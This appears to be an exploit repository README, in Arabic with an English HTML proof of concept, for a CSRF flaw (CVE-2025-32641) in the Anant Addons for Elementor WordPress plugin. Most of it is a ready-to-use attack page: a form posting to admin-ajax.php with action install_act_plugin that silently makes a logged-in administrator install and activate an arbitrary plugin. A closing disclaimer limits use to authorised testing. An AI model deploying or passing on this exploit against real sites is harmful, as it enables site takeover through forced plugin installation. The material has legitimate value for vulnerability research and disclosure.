nxploited/cve-2025-32641ثغرة CSRF لتثبيت إضافي تعسفي في Anant Addons for Elementor <= 1.1.5
ثغرة تزوير الطلب عبر المواقع (CSRF) في anantaddons' إضافات Anant لـ Elementor
هذه المشكلة تؤثر على الإصدارات: من غير معروف حتى 1.1.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:Hتسمح هذه الثغرة للمهاجمين غير المصادقين بتنفيذ تثبيت إضافات عشوائية نيابة عن مسؤول مسجل الدخول دون علمه.
من خلال إنشاء صفحة أو نموذج ضار، يمكن للمهاجم إجبار المسؤول بصمت على تثبيت وتفعيل أي إضافة من مستودع ووردبريس.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Anant Addons for Elementor <= 1.1.5 CSRF Exploit</title>
<style>
body {
background-color: #111;
color: #0f0;
font-family: monospace;
padding: 40px;
}
h1 {
color: #ff0055;
font-size: 24px;
border-bottom: 1px solid #555;
padding-bottom: 10px;
}
.box {
background-color: #222;
border: 1px solid #444;
padding: 20px;
margin-top: 20px;
}
input[type="submit"] {
background-color: #ff0055;
color: #fff;
border: none;
padding: 10px 20px;
font-weight: bold;
cursor: pointer;
}
input[type="submit"]:hover {
background-color: #cc0044;
}
</style>
</head>
<body>
<h1>
Anant Addons for Elementor <= 1.1.5<br>
CSRF to Arbitrary Plugin Installation Vulnerability
</h1>
<div class="box">
<p># By: <strong>Nxploited | Khaled Alenazi</strong></p>
<p># Type: <strong>CSRF (No Nonce Validation)</strong></p>
<p># Impact: <strong>Unauthenticated attacker can force admin to install and activate arbitrary WordPress plugins</strong></p>
</div>
<form action="http://192.168.100.74:888/wordpress/wp-admin/admin-ajax.php?action=install_act_plugin" method="POST" class="box">
<input type="hidden" name="plugs" value="hello-dolly">
<p>🎯 Click the button below to trigger plugin installation (admin session must be active):</p>
<input type="submit" value="Exploit Now">
</form>
</body>
</html>
🎯 عندما ينقر مسؤول مسجل الدخول على هذا النموذج (أو يتم إرساله تلقائياً في صفحة خبيثة)، سيتم تثبيت الإضافة وتفعيلها بصمت.
هذا المستودع والمحتوى هما لأغراض تعليمية وبحث أمني فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن الاستخدام غير الصحيح لهذه المعلومات.
قم دائمًا بإجراء الاختبار على أنظمة تمتلكها أو لديك إذن صريح لاختبارها.
بواسطة: Nxploited | Khaled ALenazi